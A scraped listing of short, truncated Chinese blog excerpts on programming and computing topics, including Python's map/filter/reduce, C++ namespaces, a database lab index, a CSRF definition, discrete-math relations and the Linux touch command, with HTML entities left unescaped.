python内置函数map/filter/reduce详解

在Python中&#xff0c;map(), filter(), 和 reduce() 是内置的高级函数(实际是class)&#xff0c;用于处理可迭代对象&#xff08;如列表、元组等&#xff09;的元素。这些函数通常与lambda函数一起使用&#xff0c;以简洁地表达常见的操作。下面我将分别解释这三个函数。 1. …

【C++课程学习】:命名空间的理解(图文详解)

&#x1f381;个人主页&#xff1a;我们的五年 &#x1f50d;系列专栏&#xff1a;C课程学习 &#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐文章 目录 &#x1f4f7;1.命名冲突 &#x1f4f7;2.重定义 &#x1f4f7;3.命名空间 &#x1f37a;命名空间可…

山东大学软件学院数据库实验1-9(全部)

目录 前言 实验代码 实验一 1-1 1-2 1-3 1-4 1-5 1-6 实验二 2-1 2-2 2-3 2-4 2-5 2-6 2-7 2-8 2-9 2-10 实验三 3-1 3-2 3-3 3-4 3-5 3-6 3-7 3-8 3-9 3-10 实验四 4-1 4-2 4-3 4-4 4-5 4-6 4-7 4-8 4-9 4-10 实验五 5-1…

CSRF跨站请求伪造实战

目录 一、定义 二、与XSS的区别 三、攻击要点 四、实战 一、定义 CSRF (Cross-site request forgery&#xff0c;跨站请求伪造)&#xff0c;攻击者利用服务器对用户的信任&#xff0c;从而欺骗受害者去服务器上执行受害者不知情的请求。在CSRF的攻击场景中&#xff0c;攻击…

移动云以深度融合之服务,令“大”智慧贯穿云端

移动云助力大模型&#xff0c;开拓创新领未来。 云计算——AI模型的推动器。 当前人工智能技术发展的现状和趋势&#xff0c;以及中国在人工智能领域的发展策略和成就。确实&#xff0c;以 ChatGPT 为代表的大型语言模型在自然语言处理、文本生成、对话系统等领域取得了显著的…

等价关系、偏序关系与哈斯图

一、等价关系的定义 设R是集合A上的一个二元关系&#xff0c;如果R满足自反性、对称性和传递性&#xff0c;则称R是一个等价关系。 二、等价类和商集 哪些元素有关系&#xff0c;就构成一个等价类。 所有等价类构成的集合就是商集。 集合的划分&#xff1a;就是对集合中的元…

Liunx系统中修改文件的创建时间以及访问时间

在Linux系统中&#xff0c;可以使用touch命令来修改文件的时间戳。以下是一些常用的touch命令选项&#xff1a; &#xff08;其实在MacOS中也适用&#xff09; 修改访问时间&#xff08;Access Time&#xff09;和修改时间&#xff08;Modification Time&#xff09;&#xf…